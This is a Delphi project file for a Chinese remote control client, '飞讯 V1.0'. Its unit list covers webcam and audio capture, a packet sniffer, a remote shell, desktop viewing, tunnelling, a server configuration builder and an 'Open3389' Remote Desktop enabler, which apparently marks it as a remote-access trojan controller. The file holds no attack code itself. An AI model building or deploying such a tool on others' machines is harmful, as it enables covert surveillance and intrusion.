client.dpr

不错的远程控制程序

program client;

uses
  madListHardware,
  madListProcesses,
  madListModules,
  madExcept,
  madLinkDisAsm,
  SysUtils,
  Forms,
  CompressionStreamUnitForms in 'CompressionStreamUnitForms.pas',
  UnitMain in 'UnitMain.pas' {Main},
  UnitProcesses in 'UnitProcesses.pas' {Processes},
  UnitTransfers in 'UnitTransfers.pas' {Transfers},
  UnitServices in 'UnitServices.pas' {Services},
  UnitTraffic in 'UnitTraffic.pas' {Traffic},
  UnitSniffer in 'UnitSniffer.pas' {Sniffer},
  UnitRegistry in 'UnitRegistry.pas' {Registry},
  ModalBinary in 'ModalBinary.pas' {BinaryModal},
  ModalString in 'ModalString.pas' {StringModal},
  ModalDWORD in 'ModalDWORD.pas' {DWORDModal},
  UnitWebcam in 'UnitWebcam.pas' {Webcam},
  UnitShell in 'UnitShell.pas' {Shell},
  UnitTunnel in 'UnitTunnel.pas' {Tunnel},
  UnitAudio in 'UnitAudio.pas' {Audio},
  UnitNetwork in 'UnitNetwork.pas' {Network},
  ModalColumns in 'ModalColumns.pas' {ColumnsModal},
  UnitFiles in 'UnitFiles.pas' {Files},
  UnitSearch in 'UnitSearch.pas' {Search},
  UnitDesktop in 'UnitDesktop.pas' {Desktop},
  AboutUnit in 'AboutUnit.pas' {AboutForm},
  ShapFormU in 'ShapFormU.pas' {ShapForm},
  UpIp in 'UpIp.pas' {UpIpDate},
  UnitConfigServer in 'UnitConfigServer.pas' {ConfigServer},
  Open3389 in 'Open3389.pas' {O3389};

{$R *.res}

var time1: TDateTime;
begin
  ShapForm := TShapForm.Create(Application);
  ShapForm.Show;
  ShapForm.Refresh;
  time1 := now;
  repeat
  until time1 + StrtoTime('00:00:3') <= now;


  Application.Initialize;
  Application.Title := '飞讯 V1.0 作者:风蓝 QQ:4560338';
  Application.CreateForm(TMain, Main);
  Application.CreateForm(TBinaryModal, BinaryModal);
  Application.CreateForm(TStringModal, StringModal);
  Application.CreateForm(TDWORDModal, DWORDModal);
  Application.CreateForm(TColumnsModal, ColumnsModal);
  Application.CreateForm(TUpIpDate, UpIpDate);
  Application.CreateForm(TConfigServer, ConfigServer);
  Application.CreateForm(TO3389, O3389); 
  Application.Run;
end.